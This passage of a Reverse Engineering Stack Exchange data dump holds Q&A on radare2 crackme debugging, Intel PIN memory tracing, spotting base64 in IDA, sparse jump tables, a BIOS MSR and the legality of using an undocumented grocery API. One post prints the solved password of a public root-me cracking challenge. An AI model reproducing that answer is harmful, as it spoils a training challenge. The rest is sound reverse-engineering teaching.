0x00401770      0fb600         movzx eax, byte [eax]\n|   |||||   0x00401773      3c49           cmp al, 0x49                ; 'I' ; 73\n|  ,======&lt; 0x00401775      7533           jne 0x4017aa\n|  ||||||   0x00401777      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8\n|  ||||||   0x0040177a      83c005         add eax, 5\n|  ||||||   0x0040177d      0fb600         movzx eax, byte [eax]\n|  ||||||   0x00401780      3c6f           cmp al, 0x6f                ; 'o' ; 111\n| ,=======&lt; 0x00401782      7526           jne 0x4017aa\n| |||||||   0x00401784      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8\n| |||||||   0x00401787      83c006         add eax, 6\n| |||||||   0x0040178a      0fb600         movzx eax, byte [eax]\n| |||||||   0x0040178d      3c53           cmp al, 0x53                ; 'S' ; 83\n| ========&lt; 0x0040178f      7519           jne 0x4017aa\n| |||||||   0x00401791      b853404000     mov eax, str.Gratz_man_:    ; 0x404053 ; \"Gratz man :)\"\n| |||||||   0x00401796      890424         mov dword [esp], eax        ; const char *format\n| |||||||   0x00401799      e812110000     call sub.msvcrt.dll_printf_8b0 ; int printf(const char *format)\n| |||||||   0x0040179e      c70424000000.  mov dword [esp], 0\n| |||||||   0x004017a5      e8f6100000     call sub.msvcrt.dll_exit_8a0\n| |||||||   ; XREFS: CODE 0x00401737  CODE 0x00401741  CODE 0x0040174e  CODE 0x0040175b  CODE 0x00401768\n| |||||||   ; XREFS: CODE 0x00401775  CODE 0x00401782  CODE 0x0040178f\n| ```````-&gt; 0x004017aa      c70424604040.  mov dword [esp], str.Wrong_password ; [0x404060:4]=0x6e6f7257 ; \"Wrong password\" ; const char *s\n|           0x004017b1      e802110000     call sub.msvcrt.dll_puts_8b8 ; int puts(const char *s)\n|           0x004017b6      c9             leave\n\\           0x004017b7      c3             ret\n[0x00401700]&gt;\n</code></pre>\n\n<p>Now I can see that the instruction <em>| ========&lt; 0x0040178f      7519           jne 0x4017aa</em> compare the password with the parameter passed as argument.\nI would like now put a breakpoint on the jne instruction but I can't because the memory is unmapped. I execute the command to execute the program :</p>\n\n<pre><code>ood ABadPassword\ndb 0x0040178f\ndc\n</code></pre>\n\n<p>The result is :</p>\n\n<pre><code>[0x771ece30]&gt; dc\n(5448) loading library at 77180000 (C:\\Windows\\SysWOW64\\ntdll.dll) ntdll.dll\n(5448) unloading library at 000C0000 (not cached) not cached\n(5448) unloading library at 75580000 (not cached) not cached\n(5448) unloading library at 00610000 (not cached) not cached\n(5448) loading library at 75580000 (C:\\Windows\\SysWOW64\\kernel32.dll) kernel32.dll\n(5448) loading library at 73A60000 (C:\\Windows\\SysWOW64\\KernelBase.dll) KernelBase.dll\n(5448) loading library at 74060000 (C:\\Windows\\SysWOW64\\msvcrt.dll) msvcrt.dll\n</code></pre>\n\n<p>I don't understand why I don't hit the break point. Also, I am obligated to execute twice the <em>dc</em> command to see : <em>wrong password</em>.\nMy goal is to change the rip next addess.</p>\n",
        "Title": "Debug point not hit with radare2",
        "Tags": "|binary-analysis|radare2|binary|breakpoint|",
        "Answer": "<p>Your breakpoint doesn't work as it is put in the part of the code that is not executed with the pass your provided. I'll try not to give too much hint so that you can still solve it by yourself.</p>\n\n<p>You wrote</p>\n\n<blockquote>\n  <p>Now I can see that the instruction | ========&lt; 0x0040178f 7519 jne 0x4017aa compare the password with the parameter passed as argument.</p>\n</blockquote>\n\n<p>This is wrong. It doesn't not compare 'the password', it compare one of the character of the password. If you check the code there are some other instructions that are being executed and already validated your password as wrong so the line at <code>0x40178f</code> is not even reached with 'ABadPassword' passed as an argument. </p>\n\n<p>You need to analyse code more carefully and see where earlier in the code the breakpoint should be put.</p>\n\n<p>As for your second problem</p>\n\n<blockquote>\n  <p>Also, I am obligated to execute twice the dc command to see : wrong password.</p>\n</blockquote>\n\n<p>There might be some debug event that <code>radare2</code> responds to with the break of your code execution, thus require you to decide what to do. If it's not exceptional then <code>dc</code> should get execution further.</p>\n"
    },
    {
        "Id": "20289",
        "CreationDate": "2019-01-05T08:07:39.437",
        "Body": "<p>I am modifying PIN's  proccount sample to get the memory access information per function</p>\n\n<pre><code> VOID Routine(RTN rtn, VOID *v)\n{\n\n    // Allocate a counter for this routine\n    RTN_COUNT * rc = new RTN_COUNT;\n    rc-&gt;_name = RTN_Name(rtn);\n    rc-&gt;_image = StripPath(IMG_Name(SEC_Img(RTN_Sec(rtn))).c_str());\n    rc-&gt;_address = RTN_Address(rtn);\n\n    rc-&gt;_next = RtnList;\n    RtnList = rc;\n\n    RTN_Open(rtn);\nfprintf(trace,\"%s\\n\",rc-&gt;_name.c_str());( writing functio name )\n     RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)docount, IARG_PTR, &amp;(rc-&gt;_rtnCount), IARG_END);\n       // RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)RecordMemRead1, &amp;(rc-&gt;_name),rc-&gt;_address, IARG_END);(this gave an error)\n        // For each instruction of the routine\n        for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins))\n        {\n\n        UINT32 memOperands = INS_MemoryOperandCount(ins);\n    // Iterate over each memory operand of the instruction.\n         for (UINT32 memOp = 0; memOp &lt; memOperands; memOp++)\n    {\n        if (INS_MemoryOperandIsRead(ins, memOp))\n        {\n            INS_InsertPredicatedCall(\n                ins, IPOINT_BEFORE, (AFUNPTR)RecordMemRead,\n                IARG_INST_PTR,\n                IARG_MEMORYOP_EA,memOp,IARG_END); (file trace is modified here)\n\n        }\n    }\n    }\n\n    RTN_Close(rtn);\n}\n</code></pre>\n\n<p>I am getting output like:</p>\n\n<pre><code>dl_find_dso_for_object\n__get_cpu_features\n__libc_memalign\nmalloc\ncalloc\nfree\nrealloc\n0   0x7fcecff419dd  :R  0x7fced0165e70\n0   0x7fcecff419e7  :R  0x7fced0166000\n0   0x7fcecff41a57  :R  0x7fced0165e80\n0   0x7fcecff41a57  :R  0x7fced0165e90\n0   0x7fcecff41a57  :R  0x7fced0165ea0\n0   0x7fcecff41a57  :R  0x7fced0165eb0\n0   0x7fcecff41a57  :R  0x7fced0165ec0\n</code></pre>\n\n<p>I need per-function memory list like:</p>\n\n<pre><code>dl_find_dso_for_object\n0   0x7fcecff419dd  :R  0x7fced0165e70\n    0   0x7fcecff419e7  :R  0x7fced0166000\n    0   0x7fcecff41a57  :R  0x7fced0165e80\n    0   0x7fcecff41a57  :R  0x7fced0165e90\n;;;\nmalloc\n0x7fcecff41a57  :R  0x7fced0165ea0\n    0   0x7fcecff41a57  :R  0x7fced0165eb0\n    0   0x7fcecff41a57  :R  0x7fced0165ec0\n</code></pre>\n\n<p>How can I achieve it?</p>\n",
        "Title": "how to get per-function memory accesses using PIN tool",
        "Tags": "|pintool|",
        "Answer": "<p>You can pass an additional argument to <code>INS_InsertPredicatedCall</code> with the string name and construct a map with function names with (instruction, addr). Parse that map in <code>PIN_AddFiniFunction</code> added callback. Here's a simple example. Implement your mapping in <code>RecordMemRead</code></p>\n\n<pre><code>map&lt;string, vector&lt;pair&lt;UINT64, UINT64&gt;&gt;&gt; RtnToRead;\n\nVOID RecordMemRead(ADDRINT address, UINT64 memOp, string rname) {\n    RtnToRead[rname].pb(mp(address, memOp));\n}\n\nVOID Routine(RTN rtn, VOID *v) {\n\n    RTN_Open(rtn);\n\n    string name = RTN_Name(rtn);\n\n    for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins)) {\n\n        UINT32 memOperands = INS_MemoryOperandCount(ins);\n        for (UINT32 memOp = 0; memOp &lt; memOperands; memOp++) {\n            if (INS_MemoryOperandIsRead(ins, memOp)) {\n                INS_InsertPredicatedCall(ins, IPOINT_BEFORE,\n                                         (AFUNPTR)RecordMemRead, IARG_INST_PTR,\n                                         IARG_MEMORYOP_EA, memOp, IARG_PTR,\n                                         new string(name), IARG_END);\n            }\n        }\n    }\n\n    RTN_Close(rtn);\n}\n\nVOID Fini(INT32 code, VOID *v) {\n    for (auto &amp;rtn : RtnToRead) {\n        cout &lt;&lt; rtn.fs &lt;&lt; \" :\" &lt;&lt; endl;\n        for (auto &amp;e : rtn.second) {\n            cout &lt;&lt; \"\\t\" &lt;&lt; hex &lt;&lt; e.fs &lt;&lt; \" : \" &lt;&lt; e.sc &lt;&lt; endl;\n        }\n    }\n}\n</code></pre>\n\n<p>I have added a simple example <a href=\"https://gist.github.com/sudhackar/b3c355ff7f39c2a30c19c88053b60939\" rel=\"nofollow noreferrer\">here</a></p>\n\n<p>EDIT : I have copied code from the gist which fits your case perfectly.</p>\n"
    },
    {
        "Id": "20299",
        "CreationDate": "2019-01-07T17:07:10.923",
        "Body": "<p>How to identify in assembly base 64 encode/decode with Ida. Is there any magic constant that I can search? Or maybe a plugin that find that?</p>\n\n<p><code>FindCrypt2</code>  Ida plugin not find that</p>\n",
        "Title": "How to identify base64 encode/decode in assembly",
        "Tags": "|ida|assembly|ida-plugin|",
        "Answer": "<p>One of the ways <a href=\"http://opensecuritytraining.info/ReverseEngineeringMalware.html\" rel=\"nofollow noreferrer\">that I have taught</a> (see Day 1 Part 11) to find a base64 alphabet is to look for a sequence of 64 bytes with an <a href=\"https://rosettacode.org/wiki/Entropy\" rel=\"nofollow noreferrer\">Shannon entropy</a> of 6 (on a scale of 1-8).  Beware that in addition to Base64 alphabets, that will also find other high-entropy data, such as compressed or encrypted code or strings, as well as encryption constants.</p>\n\n<p>For your standard Base64 alphabet, using IDA, press alt-B, then enter (including the double-quotes) \"ABCDEFGHIJKLMNOPQRSTUV\" or some other subset of the standard alphabet.  I recommend also selecting the \"find all\" option, which makes it easier to see and skip false matches.</p>\n"
    },
    {
        "Id": "20312",
        "CreationDate": "2019-01-08T21:36:49.050",
        "Body": "<p>I just finished <a href=\"https://www.root-me.org/fr/Challenges/Cracking/ELF-C-0-protection\" rel=\"nofollow noreferrer\">this challenge</a>. This is the content of main function :</p>\n\n<pre><code>[0x08048a86]&gt; pdf\n/ (fcn) main 417\n|   main (int argc, char **argv, char **envp);\n|           ; var int local_16h @ ebp-0x16\n|           ; var int local_15h @ ebp-0x15\n|           ; var int local_14h @ ebp-0x14\n|           ; var int local_10h @ ebp-0x10\n|           ; var int local_ch @ ebp-0xc\n|           ; var int local_8h_2 @ ebp-0x8\n|           ; var char *local_4h @ esp+0x4\n|           ; var int local_8h @ esp+0x8\n|           ; DATA XREF from entry0 (0x80488a7)\n|           0x08048a86      8d4c2404       lea ecx, [local_4h]         ; 4\n|           0x08048a8a      83e4f0         and esp, 0xfffffff0\n|           0x08048a8d      ff71fc         push dword [ecx - 4]\n|           0x08048a90      55             push ebp\n|           0x08048a91      89e5           mov ebp, esp\n|           0x08048a93      53             push ebx\n|           0x08048a94      51             push ecx\n|           0x08048a95      83ec20         sub esp, 0x20\n|           0x08048a98      89cb           mov ebx, ecx\n|           0x08048a9a      833b01         cmp dword [ebx], 1\n|       ,=&lt; 0x08048a9d      7f4f           jg 0x8048aee\n|       |   0x08048a9f      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4\n|       |   0x08048aa2      8b18           mov ebx, dword [eax]\n|       |   0x08048aa4      c7442404b18d.  mov dword [local_4h], str.usage_: ; [0x8048db1:4]=0x67617375 ; \"usage : \"\n|       |   0x08048aac      c7042460b004.  mov dword [esp], obj._ZSt4cerr__GLIBCXX_3.4 ; [0x804b060:4]=0\n|       |   0x08048ab3      e838fdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst\n|       |   0x08048ab8      895c2404       mov dword [local_4h], ebx\n|       |   0x08048abc      890424         mov dword [esp], eax\n|       |   0x08048abf      e82cfdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst\n|       |   0x08048ac4      c7442404ba8d.  mov dword [local_4h], str.password ; [0x8048dba:4]=0x73617020 ; \" password\"\n|       |   0x08048acc      890424         mov dword [esp], eax\n|       |   0x08048acf      e81cfdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst\n|       |   0x08048ad4      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff\n|       |   0x08048adc      890424         mov dword [esp], eax\n|       |   0x08048adf      e85cfdffff     call sym.std::ostream::operator___std::ostream_____std::ostream\n|       |   0x08048ae4      bb05000000     mov ebx, 5\n|      ,==&lt; 0x08048ae9      e92b010000     jmp 0x8048c19\n|      ||   ; CODE XREF from main (0x8048a9d)\n|      |`-&gt; 0x08048aee      8d45eb         lea eax, [local_15h]\n|      |    0x08048af1      890424         mov dword [esp], eax\n|      |    0x08048af4      e867fdffff     call sym.std::allocator_char_::allocator\n|      |    0x08048af9      8d45eb         lea eax, [local_15h]\n|      |    0x08048afc      89442408       mov dword [local_8h], eax\n|      |    0x08048b00      c7442404c48d.  mov dword [local_4h], 0x8048dc4 ; [0x8048dc4:4]=0xca15d618\n|      |    0x08048b08      8d45f4         lea eax, [local_ch]\n|      |    0x08048b0b      890424         mov dword [esp], eax\n|      |    0x08048b0e      e80dfdffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const\n|      |    0x08048b13      8d45ea         lea eax, [local_16h]\n|      |    0x08048b16      890424         mov dword [esp], eax\n|      |    0x08048b19      e842fdffff     call sym.std::allocator_char_::allocator\n|      |    0x08048b1e      8d45ea         lea eax, [local_16h]\n|      |    0x08048b21      89442408       mov dword [local_8h], eax\n|      |    0x08048b25      c7442404cc8d.  mov dword [local_4h], 0x8048dcc ; [0x8048dcc:4]=0xaf67b350\n|      |    0x08048b2d      8d45f0         lea eax, [local_10h]\n|      |    0x08048b30      890424         mov dword [esp], eax\n|      |    0x08048b33      e8e8fcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const\n|      |    0x08048b38      8d45ec         lea eax, [local_14h]\n|      |    0x08048b3b      8d55f4         lea edx, [local_ch]\n|      |    0x08048b3e      89542408       mov dword [local_8h], edx\n|      |    0x08048b42      8d55f0         lea edx, [local_10h]\n|      |    0x08048b45      89542404       mov dword [local_4h], edx\n|      |    0x08048b49      890424         mov dword [esp], eax\n|      |    0x08048b4c      e83cfeffff     call sym.plouf_std::string_std::string\n|      |    0x08048b51      83ec04         sub esp, 4\n|      |    0x08048b54      8d45f0         lea eax, [local_10h]\n|      |    0x08048b57      890424         mov dword [esp], eax\n|      |    0x08048b5a      e8a1fcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string\n|      |    0x08048b5f      8d45ea         lea eax, [local_16h]\n|      |    0x08048b62      890424         mov dword [esp], eax\n|      |    0x08048b65      e8c6fcffff     call sym.std::allocator_char_::_allocator\n|      |    0x08048b6a      8d45f4         lea eax, [local_ch]\n|      |    0x08048b6d      890424         mov dword [esp], eax\n|      |    0x08048b70      e88bfcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string\n|      |    0x08048b75      8d45eb         lea eax, [local_15h]\n|      |    0x08048b78      890424         mov dword [esp], eax\n|      |    0x08048b7b      e8b0fcffff     call sym.std::allocator_char_::_allocator\n|      |    0x08048b80      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4\n|      |    0x08048b83      83c004         add eax, 4\n|      |    0x08048b86      8b00           mov eax, dword [eax]\n|      |    0x08048b88      89442404       mov dword [local_4h], eax\n|      |    0x08048b8c      8d45ec         lea eax, [local_14h]\n|      |    0x08048b8f      890424         mov dword [esp], eax\n|      |    0x08048b92      e860010000     call sym.boolstd::operator___char_std::char_traits_char__std::allocator_char___std::basic_string_char_std::char_traits_char__std::allocator_char__const__charconst\n|      |    0x08048b97      84c0           test al, al\n|      |,=&lt; 0x08048b99      744a           je 0x8048be5\n|      ||   0x08048b9b      c7442404fc8d.  mov dword [local_4h], str.Bravo__tu_peux_valider_en_utilisant_ce_mot_de_passe... ; [0x8048dfc:4]=0x76617242 ; \"Bravo, tu peux valider en utilisant ce mot de passe...\"\n|      ||   0x08048ba3      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0\n|      ||   0x08048baa      e841fcffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst\n|      ||   0x08048baf      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff\n|      ||   0x08048bb7      890424         mov dword [esp], eax\n|      ||   0x08048bba      e881fcffff     call sym.std::ostream::operator___std::ostream_____std::ostream\n|      ||   0x08048bbf      c7442404348e.  mov dword [local_4h], str.Congratz._You_can_validate_with_this_password... ; [0x8048e34:4]=0x676e6f43 ; \"Congratz. You can validate with this password...\"\n|      ||   0x08048bc7      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0\n|      ||   0x08048bce      e81dfcffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst\n|      ||   0x08048bd3      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff\n|      ||   0x08048bdb      890424         mov dword [esp], eax\n|      ||   0x08048bde      e85dfcffff     call sym.std::ostream::operator___std::ostream_____std::ostream\n|     ,===&lt; 0x08048be3      eb24           jmp 0x8048c09\n|     |||   ; CODE XREF from main (0x8048b99)\n|     ||`-&gt; 0x08048be5      c7442404658e.  mov dword [local_4h], str.Password_incorrect. ; [0x8048e65:4]=0x73736150 ; \"Password incorrect.\"\n|     ||    0x08048bed      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0\n|     ||    0x08048bf4      e8f7fbffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst\n|     ||    0x08048bf9      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff\n|     ||    0x08048c01      890424         mov dword [esp], eax\n|     ||    0x08048c04      e837fcffff     call sym.std::ostream::operator___std::ostream_____std::ostream\n|     ||    ; CODE XREF from main (0x8048be3)\n|     `---&gt; 0x08048c09      bb00000000     mov ebx, 0\n|      |    0x08048c0e      8d45ec         lea eax, [local_14h]\n|      |    0x08048c11      890424         mov dword [esp], eax\n|      |    0x08048c14      e8e7fbffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string\n|      |    ; CODE XREF from main (0x8048ae9)\n|      `--&gt; 0x08048c19      89d8           mov eax, ebx\n|       ,=&lt; 0x08048c1b      eb75           jmp 0x8048c92\n..\n|       |   ; CODE XREF from main (0x8048c1b)\n|       `-&gt; 0x08048c92      8d65f8         lea esp, [local_8h_2]\n|           0x08048c95      59             pop ecx\n|           0x08048c96      5b             pop ebx\n|           0x08048c97      5d             pop ebp\n|           0x08048c98      8d61fc         lea esp, [ecx - 4]\n\\           0x08048c9b      c3             ret\n</code></pre>\n\n<p>I solved it by placing a breakpoint to <code>0x08048b99</code> adress and printing the stack when I hit it using the command <code>pxr @ esp</code>\nThe result was : </p>\n\n<p><code>0xffe4a170  0xffe4a184  .... @esp stack R W 0x9f61c8c --&gt;  (Here_you_have_to_understand_a_little_C++_stuffs)\n0xffe4a174  0xffe4b367  g... edx stack R W 0x43007373 (ss) --&gt;  ascii</code></p>\n\n<p>So now, I would like to solve this challenge again in a different way. I have two questions.</p>\n\n<p><strong>First question :</strong> At first, before solve it by this way, I tried to put breakpoint on each comparaison function and my idea was to change the rip adress like in <a href=\"https://youtu.be/hy81mnLMvnE?t=540\" rel=\"nofollow noreferrer\">this video</a>.\nThe problem in my case is when I enter the command <code>dr</code>, I don't have the rip adress. This is the output I have :</p>\n\n<pre><code>hit breakpoint at: 8048b99\n[0x08048b99]&gt; dr\neax = 0xffffff00\nebx = 0xffceafa0\necx = 0x00000004\nedx = 0xffceb365\nesi = 0xf7d54000\nedi = 0xf7d54000\nesp = 0xffceaf60\nebp = 0xffceaf88\neip = 0x08048b99\neflags = 0x00000246\noeax = 0xffffffff\n</code></pre>\n\n<p>Why I don't have the rip value ? Can you explain me how can I do that if is it possible ?</p>\n\n<p><strong>Second question :</strong> Is there a command in radare2 which I don't know and which allows me to print directly the value of <code>obj._ZSt4cout__GLIBCXX_3.4</code></p>\n",
        "Title": "rip adress not visible with dr command",
        "Tags": "|binary-analysis|radare2|binary|breakpoint|",
        "Answer": "<p>rip = x64 \neip = x86 \ndr shows eip in your case </p>\n\n<p>it is probably some demangled name  (not sure why radare2 inserts the GLIBC part )</p>\n\n<p>but if you strip the GLIBC part you can use iD Command to demangle it to std::cout</p>\n\n<pre><code>[0x01012d6c]&gt; iD cxx _ZSt4cout__GLIBCXX_3.4\n[0x01012d6c]&gt; iD cxx _ZSt4cout__GLIBCXX_\n[0x01012d6c]&gt; iD cxx _ZSt4cout__GLIBCXX\n[0x01012d6c]&gt; iD cxx _ZSt4cout__GLIBC\n[0x01012d6c]&gt; iD cxx _ZSt4cout__GL\n[0x01012d6c]&gt; iD cxx _ZSt4cout__\n[0x01012d6c]&gt; iD cxx _ZSt4cout_\n[0x01012d6c]&gt; iD cxx _ZSt4cout\nstd::cout\n[0x01012d6c]&gt; iD cxx _ZSt4cou\n[0x01012d6c]&gt;\n</code></pre>\n\n<p>btw i don't know why you get all that unintelligible thingies  </p>\n\n<p>did you analyse the executable prior to loading or after loading it ?</p>\n\n<p>radare2 does a better job than what you posted  as a result of pdf </p>\n\n<p>just so i wasn't deceived by some long forgotten memory i ran through hoops to fetch the 4th challenge :( and loaded it in radare2 and i am sure  it really does a better job than you posted in case after analysis you don't get intelligible output check </p>\n\n<p>e asm.demangle and set it to true reanlyze and do pdf </p>\n\n<p>here is a screenshot the first _Z blah blah in your screen shot is std::cerr auto demangled by radare2 </p>\n\n<p><a href=\"https://i.stack.imgur.com/1qUGy.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1qUGy.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>my radare2 version atm is 2.8.xxx i see latest is 3.2.xxx if the latest version differs in output try contacting the radare2 team \nmaybe someone from the team or a more avid user like megabeets might chime here too </p>\n"
    },
    {
        "Id": "20313",
        "CreationDate": "2019-01-09T05:05:31.753",
        "Body": "<h2>Introduction</h2>\n\n<p>So I have a peer to peer app that allows customers to request jobs at their own price and have the job fulfilled by a freelancer in the community. The common jobs requested as of recent are home improvement gigs and lawn care things. We plan on releasing a new feature that allows customers to request groceries through the app to be delivered to them as well. </p>\n\n<h2>Summary of The Problem</h2>\n\n<p>The grocery company we are using has open source documentation for parts of their api, however some of the documentation is missing components we need to successfully integrate the feature into our app. So for the missing components I have reverse engineered some components of the software that aren't included within the public documentation and plan on integrating it into our app. I haven't fully finished the reverse engineering, as I am a quarter of the way done but: </p>\n\n<ul>\n<li>What legal implications does this hold?</li>\n<li>If it is unlawful, what is the severity of the repercussions? </li>\n<li>How long can I utilize this reverse engineering software before being\ncaught?</li>\n<li>Will I the implementer of the software be held accountable, or would\nthe company be accountable on my behalf?</li>\n</ul>\n\n<p>Thanks in advance. </p>\n",
        "Title": "Reverse Engineering Grocery Software API",
        "Tags": "|api|law|development|",
        "Answer": "<p>I (a random bloke on the internet) would do these:</p>\n\n<ul>\n<li>read the EULA and terms&amp;conditions. Do they explicitly prohibit/allow all/some parts of the API?</li>\n<li>is the API you're using internal or merely undocumented?</li>\n<li>depending on the country/jurisdiction you might not be able to use the results of RE. It can be questionable how much of an RE it is to guess the API endpoint.</li>\n<li>contact the grocery API authors, maybe they're planning a public API for the features you need or maybe they can point you in the right direction without the need to call their private API.</li>\n<li>talk to a lawyer. I don't want to make assumptions when I can end up with a fine or in jail.</li>\n</ul>\n\n<p>As @Amirag mentioned the private API might be very unstable and if <em>they</em> break the compatibility <em>your</em> users will suffer blaming <em>your</em> app. And most likely leave a negative review and uninstall it.</p>\n"
    },
    {
        "Id": "20315",
        "CreationDate": "2019-01-09T07:11:41.680",
        "Body": "<p>I have come across the following jump table with a large amount of cases (160+). There seems to be cases missing from IDAs analysis though. For example it skips from cases 22 -> 38 -> 91, and I can see about 10 cases total.</p>\n\n<p><a href=\"https://i.stack.imgur.com/08NEd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/08NEd.png\" alt=\"IDA\"></a></p>\n\n<ol>\n<li>Can I expect all switch cases to take up sequential memory? Is it possible the cases aren't missing, just located elsewhere in memory?</li>\n<li>If they are normally sequential, is IDA just misinterpreting the cases?</li>\n<li>Can anyone please explain why there are a large amount of cases belonging to this jumptable but I only see a select few?</li>\n</ol>\n\n<p>Instructions around <code>0052B970</code>, it is the disasm located immediately above the screenshot: </p>\n\n<pre><code>.text:0052B932                loc_52B932:                             ; CODE XREF: sub_52B920+9\u2191j\n.text:0052B932 8A 01                          mov     al, [ecx]\n.text:0052B934 3C B5                          cmp     al, 0B5h\n.text:0052B936 73 F3                          jnb     short loc_52B92B\n.text:0052B938 0F B6 D0                       movzx   edx, al\n.text:0052B93B 8B 04 95 E8 0A+                mov     eax, dword_730AE8[edx*4]\n.text:0052B942 85 C0                          test    eax, eax\n.text:0052B944 57                             push    edi\n.text:0052B945 8B 7D 08                       mov     edi, [ebp+arg_0]\n.text:0052B948 89 07                          mov     [edi], eax\n.text:0052B94A 75 06                          jnz     short loc_52B952\n.text:0052B94C 5F                             pop     edi\n.text:0052B94D 5E                             pop     esi\n.text:0052B94E 5D                             pop     ebp\n.text:0052B94F C2 04 00                       retn    4\n.text:0052B952                ; ---------------------------------------------------------------------------\n.text:0052B952\n.text:0052B952                loc_52B952:                             ; CODE XREF: sub_52B920+2A\u2191j\n.text:0052B952 85 C0                          test    eax, eax\n.text:0052B954 53                             push    ebx\n.text:0052B955 0F 8D DC 01 00+                jge     loc_52BB37\n.text:0052B95B 8D 42 EA                       lea     eax, [edx-16h]  ; switch 158 cases\n.text:0052B95E 3D 9D 00 00 00                 cmp     eax, 9Dh\n.text:0052B963 0F 87 C8 01 00+                ja      loc_52BB31      ; jumptable 0052B970 default case\n.text:0052B969 0F B6 80 80 BB+                movzx   eax, ds:byte_52BB80[eax]\n.text:0052B970 FF 24 85 44 BB+                jmp     ds:off_52BB44[eax*4] ; switch jump\n.text:0052B977                ; ---------------------------------------------------------------------------\n.text:0052B977\n.text:0052B977                loc_52B977:                             ; CODE XREF: sub_52B920+50\u2191j\n.text:0052B977                                                        ; DATA XREF: .text:off_52BB44\u2193o\n.text:0052B977 83 FE 0D                       cmp     esi, 0Dh        ; jumptable 0052B970 case 22\n.text:0052B97A 72 4A                          jb      short loc_52B9C6\n.text:0052B97C 0F B7 49 01                    movzx   ecx, word ptr [ecx+1]\n.text:0052B980 5B                             pop     ebx\n.text:0052B981 89 0F                          mov     [edi], ecx\n.text:0052B983 5F                             pop     edi\n.text:0052B984 B8 01 00 00 00                 mov     eax, 1\n.text:0052B989 5E                             pop     esi\n.text:0052B98A 5D                             pop     ebp\n.text:0052B98B C2 04 00                       retn    4\n</code></pre>\n\n<p>Thanks.</p>\n",
        "Title": "IDA - large jump table, missing cases in analysis",
        "Tags": "|ida|binary-analysis|x86|static-analysis|",
        "Answer": "<p>This is an example of so called sparse switch table - large range of case values with gaps in them. You can see how it first determines the case index by indexing a byte table then jumps to the handler using an index into the address table. So missing values are normal and expected; they\u2019re handled by the default case.</p>\n\n<p>You can check Rolf\u2019s research into compiler switch implementations and their variations in this article series:</p>\n\n<p><a href=\"https://www.msreverseengineering.com/blog/2014/6/23/switch-as-binary-search-part-0\" rel=\"nofollow noreferrer\">https://www.msreverseengineering.com/blog/2014/6/23/switch-as-binary-search-part-0</a></p>\n"
    },
    {
        "Id": "20316",
        "CreationDate": "2019-01-09T08:19:16.893",
        "Body": "<p><br>\nI'm reversing the <strong>BIOS</strong> of my laptop, for fun and for learning something new.<br>\nInside it, I just stepped into this piece of code:</p>\n\n<pre><code>mov     ecx, 13Ah\nrdmsr\nand     eax, 1\njnz     SkipCacheAsRAM\n</code></pre>\n\n<p>Looking on the Intel datasheet \"Intel 64 and IA-32 Architectures Software Developer\u2019s Manual\", I couldn't find any clue about it, but seems like that in this BIOS release, its value is essential the determine if a key feature such as 'cache as RAM' have to be initialized using an approach or another.\nI checked also on the AMD equivalent datasheet, even though I'm sure the MotherBoard is only for Intel CPUs.<br>\nDoes anyone indicate me an alternative source(s) where to search what this 0x13a register does?<br></p>\n",
        "Title": "Undocumented MSR Machine Specific register",
        "Tags": "|x86|intel|bios|",
        "Answer": "<p>GitHub is a good place to search for such stuff, e.g.:</p>\n\n<p><a href=\"https://github.com/search?q=0x13A+IA32+MSR&amp;type=Code\" rel=\"noreferrer\">https://github.com/search?q=0x13A+IA32+MSR&amp;type=Code</a> (may require logging in)</p>\n\n<p>Produces results like:</p>\n\n<pre><code>#define MSR_BOOT_GUARD_SACM_INFO                                      0x13A\n#define B_NEM_INIT                                                    BIT0\n</code></pre>\n\n<p>There is no comment, but from the name it look like the bit 0 determines whether the processor is already in NEM (Non-evict mode, another name for Cache-as-RAM).</p>\n"
    },
    {
        "Id": "20328",
